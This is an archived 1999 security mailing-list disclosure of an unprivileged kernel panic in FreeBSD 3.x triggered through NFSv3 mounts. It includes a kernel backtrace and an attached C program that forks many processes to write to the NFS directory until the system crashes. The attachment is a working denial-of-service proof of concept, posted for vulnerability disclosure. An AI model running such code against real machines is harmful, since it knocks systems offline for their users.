[ Kernel panic with FreeBSD-3.2-19990830-STABLE ]

From: Sebastien Petit (speat_private)
Date: Thu Sep 02 1999 - 07:53:03 PDT

  • Next message: Chris Keane: "Re: Stack Shield: defending from "stack smashing" attacks"

    --OgqxwSJOaUobr8KG
    Content-Type: text/plain; charset=us-ascii
    
    Hi !
    
    There is a problem with FreeBSD 3.2-RELEASE and -STABLE and perhaps
    FreeBSD 3.x.
    The system panics when a program does multiple access on nfs v3 mounted directory
    with default mount options (ie: mount x.x.x.x:/nfs /usr2).
    FreeBSD 3.2 crashes immediatly with no warnings and just a "panic: getnewbuf:
    cannot get buffer, infinite recursion failure" without root privileges.
    This is simple to reproduce with a program that creates a lot of process
    (ie: 120) accessing the nfs mounted directory and just does "open", "seek",
    "write", "close". NetBSD is not vulnerable.
    
    gdb:
    panic: getnewbuf: cannot get buffer, infinite recursion failure
    
    syncing disks... panic: getnewbuf: cannot get buffer, infinite recursion
    failure
    
    dumping to dev 20001, offset 272816
    dump 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111 110
    109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 89 88
    87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62
    61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35
    34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7
    6 5 4 3 2 1
    ---
    #0  boot (howto=260) at ../../kern/kern_shutdown.c:285
    285                     dumppcb.pcb_cr3 = rcr3();
    (kgdb) where
    #0  boot (howto=260) at ../../kern/kern_shutdown.c:285
    #1  0xc012f87c in at_shutdown (
        function=0xc02075f1
    <__set_sysctl__vfs_sym_sysctl___vfs_kvafreespace+361>,
        arg=0x200, queue=1174437888) at ../../kern/kern_shutdown.c:446
    #2  0xc014dc9f in getnewbuf (vp=0xcc1edb40, blkno=2293824, slpflag=0,
        slptimeo=0, size=8192, maxsize=8192) at ../../kern/vfs_bio.c:1074
    #3  0xc014e58c in getblk (vp=0xcc1edb40, blkno=2293824, size=8192,
    slpflag=0,
        slptimeo=0) at ../../kern/vfs_bio.c:1511
    #4  0xc014cd85 in bread (vp=0xcc1edb40, blkno=2293824, size=8192,
    cred=0x0,
        bpp=0xcc3acbec) at ../../kern/vfs_bio.c:282
    #5  0xc01b60f8 in ffs_update (vp=0xcc21ea40, waitfor=0)
        at ../../ufs/ffs/ffs_inode.c:98
    #6  0xc01ba92f in ffs_fsync (ap=0xcc3acc74) at
    ../../ufs/ffs/ffs_vnops.c:258
    #7  0xc01b8cb7 in ffs_sync (mp=0xc1d01c00, waitfor=2, cred=0xc0756300,
        p=0xc0246624) at vnode_if.h:499
    #8  0xc0155f37 in sync (p=0xc0246624, uap=0x0) at
    ../../kern/vfs_syscalls.c:549
    #9  0xc012f43d in boot (howto=256) at ../../kern/kern_shutdown.c:203
    #10 0xc012f87c in at_shutdown (
        function=0xc02075f1
    <__set_sysctl__vfs_sym_sysctl___vfs_kvafreespace+361>,
        arg=0x2000, queue=12443648) at ../../kern/kern_shutdown.c:446
    #11 0xc014dc9f in getnewbuf (vp=0xcc243280, blkno=1519, slpflag=0,
    slptimeo=0,
        size=8192, maxsize=8192) at ../../kern/vfs_bio.c:1074
    #12 0xc014e58c in getblk (vp=0xcc243280, blkno=1519, size=8192,
    slpflag=0,
        slptimeo=0) at ../../kern/vfs_bio.c:1511
    #13 0xc017b9fa in nfs_getcacheblk (vp=0xcc243280, bn=1519, size=8192,
        p=0xcc36f700) at ../../nfs/nfs_bio.c:904
    #14 0xc017b5a5 in nfs_write (ap=0xcc3acec8) at ../../nfs/nfs_bio.c:765
    #15 0xc0159dea in vn_write (fp=0xc1d40d40, uio=0xcc3acf10,
    cred=0xc1d36300,
        flags=0) at vnode_if.h:331
    #16 0xc013a73a in dofilewrite (p=0xcc36f700, fp=0xc1d40d40, fd=3,
        buf=0x804b000, nbyte=102400, offset=-1, flags=0)
        at ../../kern/sys_generic.c:363
    #17 0xc013a643 in write (p=0xcc36f700, uap=0xcc3acf94)
        at ../../kern/sys_generic.c:298
    #18 0xc01e6edb in syscall (frame={tf_es = 39, tf_ds = 39, tf_edi = 0,
          tf_esi = 12384951, tf_ebp = -1077945584, tf_isp = -868560924,
          tf_ebx = 12384951, tf_edx = 0, tf_ecx = 12384951, tf_eax = 4,
          tf_trapno = 7, tf_err = 2, tf_eip = 671700396, tf_cs = 31,
          tf_eflags = 582, tf_esp = -1077946192, tf_ss = 39})
        at ../../i386/i386/trap.c:1100
    #19 0xc01dda5c in Xint0x80_syscall ()
    #20 0x8048799 in ?? ()
    
    Exploit nfsexp.c is attached to this message.
    
    Spe & Gro.
    ---
    speat_private
    groat_private
    
    --OgqxwSJOaUobr8KG
    Content-Type: text/plain; charset=us-ascii
    Content-Disposition: attachment; filename="nfsbench.c"
    
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/wait.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <stdio.h>
    #include <sys/time.h>
    #include <time.h>
    
    void usr1() {
    }
    
    int main(int argc, char ** argv) {
      int nbfils;
      int nbopen;
      int tbloc;
      int tfichier;
      char filename[512];
      int i, j, k, f;
      int pid;
      struct timeval start;
      struct timeval end;
      float delay;
      void * bloc;
    
      if (argc<6) {
        fprintf(stderr, "Syntax: %s rep_nfs/ nb_child nb_open sizefile(Kb) blocksize(kb).\n", argv[0]);
        fprintf(stderr, "ie: %s /TEST/ 120 200 20000 100\n");
        exit(EXIT_FAILURE);
      }
    
      nbfils = atoi(argv[2]);
      nbopen = atoi(argv[3]);
      tfichier = atoi(argv[4]);
      tbloc = atoi(argv[5]);
    
      bloc = malloc(tbloc * 1024);
      memset(bloc, 0, tbloc * 1024);
      if (!bloc) {
        fprintf(stderr, "%s: ", argv[0]);
        perror("malloc");
        exit(-1);
      }
    
      fprintf(stderr, "forking %d times...\n", nbfils);
    
      signal(SIGUSR1, &usr1);
    
      j = 0;
      for(i=0;i<nbfils;i++) {
        pid = fork();
        if (pid<0) {
          perror("fork");
          break;
        } else
          j++;
        if (!pid) break;
      }
    
    
      if (!pid) {
        pause();
        pid = getpid();
        srand(pid*10);
        fprintf(stderr, "[%d] child %d: Here I go!\n", pid, i);
        sprintf(filename, "%s%d", argv[1], pid);
        for(i=0;i<nbopen;i++) {
          f = open(filename, O_CREAT|O_RDWR, 0666);
          if (f<0) {
    	fprintf(stderr, "[%d] file %s ", pid, filename);
    	perror("open");
    	break;
          }
          k = (rand() % (tfichier * 1024));
          j = lseek(f, k, SEEK_SET);
          if (j!=k) {
    	fprintf(stderr, "[%d] ", pid);
    	perror("lseek");
    	break;
          }
          // read(f, bloc, tbloc*1024);
          if (write(f, bloc, tbloc*1024)!=tbloc*1024) {
    	fprintf(stderr, "[%d] ", pid);
    	perror("write");
    	break;
          }
          sync();
          if (close(f)) {
    	fprintf(stderr, "[%d] ", pid);
    	perror("close");
    	break;
          }
        }
        exit(0);
      }
    
      sleep(2);
      gettimeofday(&start, NULL);
      kill(0, SIGUSR1);
    
      i = 0;
      while (i<nbfils)
        if (waitpid(-1, NULL, 0)>0)
          i++;
    
      fprintf(stderr, "they're all dead now, exiting.\nYour system is not vulnerable\n");
      gettimeofday(&end, NULL);
      delay = end.tv_sec - start.tv_sec + ((float) (end.tv_usec - start.tv_usec))
        / (float) 1000000;
    
      i = nbopen * tbloc * nbfils;
    	
      exit(0);
    }
    
    --OgqxwSJOaUobr8KG--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:01:28 PDT